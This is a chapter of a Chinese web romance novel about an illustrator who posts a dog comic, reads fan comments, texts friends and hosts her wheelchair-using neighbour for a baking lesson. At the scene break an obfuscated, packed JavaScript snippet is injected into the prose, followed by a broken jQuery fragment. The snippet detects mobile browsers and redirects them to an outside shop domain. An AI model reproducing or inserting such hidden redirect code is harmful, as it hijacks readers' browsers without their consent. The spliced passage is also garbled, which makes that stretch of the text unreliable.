第一话的内容其实已经差不多完成了，需要上色的也只剩很少一部分。终于在晚上十点之前，季书宁做好了所有的准备工作。
完成稿安安静静地躺在文件夹里，她从头到尾又看了一遍。
封面是暴雨过后的晴天，地上大大小小的水坑反射着阳光，一只穿恐龙雨衣的大狗和一只穿小黄鸭雨衣的小狗靠在一起。大狗的恐龙头套歪了，露出半边毛茸茸的脸和耳朵；小狗的鸭嘴帽滑到后脑勺，尾巴翘得高高的。
题目是偶然间出现在脑海里的，她想着大概也不会有更好、更合适的灵感了，于是打上去：
《Here&Hear》。
狗狗的原型是奥利奥和糯米，她改成了汤圆和年糕。第一页，总是喜欢把自己团成甜甜圈的年糕在某天碰到了一只温柔的大狗汤圆；第二页，汤圆趴在地上把自己放得很低，年糕躲在灌木丛后面，叶子的缝隙里露出一只蓝色的眼睛；第三页，汤圆把尾巴甩过去，年糕试探性地伸出爪子碰了碰；第四页，年糕叼住汤圆的尾巴，汤圆回头舔年糕的耳朵。最后一格，两只狗并排趴着，汤圆的尾巴搭在年糕背上，背景是从浅橙色渐变成深蓝色的天空。
汤圆的头顶有一行字：你的世界很安静，但我想住在里面。
也说不上是非常正式的第一话，季书宁的本意是给故事起个头，所以没有什么很深入的情节。
她深吸一口气，点了发布之后就关掉电脑屏幕，去找奥利奥讨了点狗毛抱。这是她每次发稿后的惯例小仪式，把头埋进奥利奥肚子上的厚毛里深呼吸两下。
奥利奥的肚子又暖又软，混合着阳光晒过的味道和沐浴露的香气。奥利奥对此表示习惯，低头舔了舔她的头发。
埋完她就去洗头洗澡了。尽管她之前运气爆棚画了个爆款，发新作还是会有点紧张，担心读者不喜欢或者压根没人看。
沈觅说这是一个创作型选手最怂的时刻，她觉得沈觅说得对。
回来之后她有些忐忑地点开软件，评论已经显示99+了。她闭了闭眼，点开。
“来了来了！第一话！”
“封面萌死我了！恐龙和小黄鸭！”
“等一下这不是太太下雨天遛狗的那个踩水坑画面吗！”
“年糕真的听不见吗？”
“是的，太太之前发花絮的时候有说过，年糕的原型双耳失聪，被楼上邻居收养了。”
“楼上邻居……我懂了[doge][doge][坏笑]”
“新粉错过了啥！不许打哑谜！”
季书宁津津有味地刷着评论，心想这些粉丝个个都是福尔摩斯。她切到小号“今天烤糊了吗”，挑了张上色走神时随手画的Q版小人准备发上去。
小人也是一身花孔雀装扮，手里端着一杯草莓牛奶，眼睛是浅浅的琥珀色，脸颊的两团婴儿肥画得更鼓了一点，还飘着两团腮红。头顶的对话框：“草莓牛奶，可以吗？”
配文写什么呢？她扶着额头想了想，打下一行字：
“今天带小朋友出门考察了，考察项目：觅觅店里的猫。考察结果：猫太胖了，翻肚皮的时候差点卡住。草莓牛奶很好喝，小朋友说下次还要去。”
发出去没多久，小号的评论区也开始闹腾了。
“今天的小朋友也好可爱！他居然出门了！太太你给他的新衣服画得太好看了吧，笔下小人逐渐奢侈化。”
“草莓牛奶！这是什么绝世小甜心！”
“哈哈哈哈哈哈爱豆的配置幼儿园的口味。”
“今天的小朋友是精致boy！”
“太太你说实话，你是不是把他当小手办了？”
“你们已经发展到可以一起出门喝咖啡的阶段了？这个进度很不对！”
季书宁划着评论，耳根有点热。她哪里把人家当小手办了，她只是觉得他的穿搭很好看，画下来是作为画画的人的职业习惯，这是在欣赏美好事物。
“太太最近发的几条我都追了，这个系列越来越甜了。这已经不是在汇报烘焙进度了，这是在汇报恋爱进度。”
她的脸也热起来了。
小号的头像是一块像焦炭一样的饼干，旁边p了三个字“能吃吗”，和她的昵称非常般配。她当时觉得匿名感拉满，现在有点心虚了。
果然过了一会儿小号的粉丝开始涨了，评论区冒出了好几条新的：
“慕名前来，大吃一口。”
“太太你的小号名字真的太好笑了。”
“太太你绝对谈恋爱了！”
季书宁点开微信，给沈觅发了一条消息。
【季小宁】：我掉马了。
【沈老板】：怎么掉的？
【季小宁】：就是扒出楼上邻居是我小号的那个很乖的小朋友了
【沈老板】：这不叫掉马
【沈老板】：这叫你自己把马牵到广场上，给它戴了朵大红花
【沈老板】：然后对所有人说大家快来看我的马
【沈老板】：你去解释吧哈哈哈
【季小宁】：我还在组织语言
【沈老板】：组织什么
【沈老板】：就说所有人都发现我画的Q版小人是你了，现在一百个人在评论区喊你鹅子
【季小宁】：不是一百。是一千。
【季小宁】：并且奖池持续叠加中
【沈老板】：那更好
【沈老板】：你马还挺大的
【季小宁】：沈觅！！！
她正想和沈觅大战八百回合，新消息跳出来了。
【小谢同学】：姐姐发新漫画了。
【小谢同学】：糯米和我都看到了。糯米今天睡在我旁边，我把封面给它看了。
【小谢同学】：它舔了一下屏幕。
【季小宁】：它认出自己是男主角了吗？
【小谢同学】：应该认出来了。
【小谢同学】：舔完之后它回头看了一下自己身上，好像在找雨衣。
季书宁笑出声来。她靠在沙发上，想了想，打字：
【季小宁】：对了，你的颈带在我这里
【季小宁】：你方便下来拿吗？还是我送上去
【小谢同学】：方便的，我下来拿吧。
【季小宁】：好。
【季小宁】：那个……我有一个小小的愿望。
【小谢同学】：什么？
【季小宁】：我把东西还给你了，能不能借你家甜点师一用？我想学做一个抹茶千层，你家甜点师在旁边指导就行。一个人我怕炸厨房。
对面隔了一会儿，大概是在问时间。
【小谢同学】：当然可以。甜点师说明天下午有空。
【小谢同学】：我可以来看你做蛋糕吗？
【季小宁】：热烈欢迎
【季小宁】：反正你也要来拿东西
【小谢同学】：好。
她放下手机，环顾了一下自己的客厅。奥利奥的玩具散落在地毯上，茶几上还堆着几本画册，沙发上乱糟糟地搭着晚上看电影盖的毯子。
明天一定早起打扫卫生。
----------------
第二天下午两点，季书宁家的门铃响了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533790|203486||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
门打开，谢司澜坐在轮椅上，陆之安推着他。旁边站着一位穿着白色厨师服的中年女人，看起来很温和，手里推着一个摆满工具的三层小推车。
“小手办”今天在白衬衫外面套了一件黑白色字母提花的薄开衫，戴了一条银色的西太后Bolotie，标志性的十字圣球亮闪闪地坠在领口下方，下半身被深灰色的羊绒毯盖住。
这人在配饰上绝对是有点研究的。
就是今天坐姿不太自然。平时他靠在轮椅上会微微侧着身子，把重心放在左边，这样右边可以更好地朝向说话的人。但今天是正正地坐着的，后背挺得比平时直，好像被什么硬的东西固定住了。
季书宁看了一眼他的腰：“你腰不舒服吗？”
“没关系。”他轻声说，“上午感觉有点僵，陆医生让我戴护腰。已经好多了。”
季书宁知道这个没关系的意思其实是不太舒服，但不想让她担心。她没有追问，往后退了一步，把门开得更大了一些。
“请进。家里有点乱，别介意。”
她在玄关的墙上贴了很多和奥利奥的合照、奥利奥各种搞怪卖萌的照片，她窗台上的那盆薄荷长得很茂盛，她的展示柜里有很多各式各样的娃娃。
奥利奥从沙发上跳下来，第一时间冲到轮椅旁边，欢快地追着自己的尾巴绕了几圈表达欢迎。它认识谢司澜，这段时间遛糯米的时候见过好几次这个香香人类。不过之前都是在楼下或者楼上他的家里，这是它第一次在自己的地盘上见到这个人。
它把两只前爪搭在轮椅扶手上，伸长了鼻子去闻他的脸。
“奥利奥！下来！”季书宁赶紧去扯它今天刚换上的粉色小三角巾。
谢司澜笑了，伸手让奥利奥闻他的手背，然后轻轻挠了挠它的下巴。奥利奥舒服地眯起眼睛，尾巴摇得更快了。
它从轮椅扶手上下来，没走开，围着轮椅转了一圈，最后叼来了它最喜欢的哈士奇玩偶，放在放在他脚边。
陆之安低头看了看那只毛被口水糊得一簇一簇的哈士奇，嘴角扯了一下：“谢小澜，它在邀请你跟它玩。”
“我看到了。”谢司澜低头看着奥利奥。奥利奥坐在地上歪着脑袋，尾巴扫来扫去，爪子扒拉了一下那只哈士奇，意思是快捡起来扔给我。
他沉默了一会儿，动作很慢很小心地往前倾了一点身体。腰弯不下去，这个距离只够伸手轻轻摸了摸奥利奥的头顶。
“对不起。”他说，像在跟一个小孩解释一件他自己也不太愿意承认的事，“我今天不方便陪你玩。以后有机会，好吗？”
奥利奥当然听不懂，继续歪着头看了他几秒，把哈士奇往前推了推，大概意思是不玩也行，送你了。
它没得到想要的回应，也没有丢下他跑走。它在轮椅旁边趴下来，时不时舔一舔他的手指，或者把下巴搁在他的膝盖上，过了一会儿又把爪子搭在他腿上。
毯子上印出一个狗爪印，谢司澜低头看了看，没擦掉。
季书宁看了看奥利奥的黑白配色，又看了看谢司澜的黑白色开衫，脱口而出：“你们今天是亲子装诶。”
谢司澜眼睛弯起来：“那姐姐是什么？”
季书宁想了想：“我算饲养员。”
“饲养员。”他重复了一遍，好像在品味这三个字。他慢慢把毯子上的狗爪印抚平，看着她：“那饲养员要负责给我们发零食。”
奥利奥听到“零食”立刻触发技能，叫了一声以示支持。
季书宁转身往厨房走，耳朵在冒烟。
季书宁啊季书宁，你怎么老是给自己挖坑。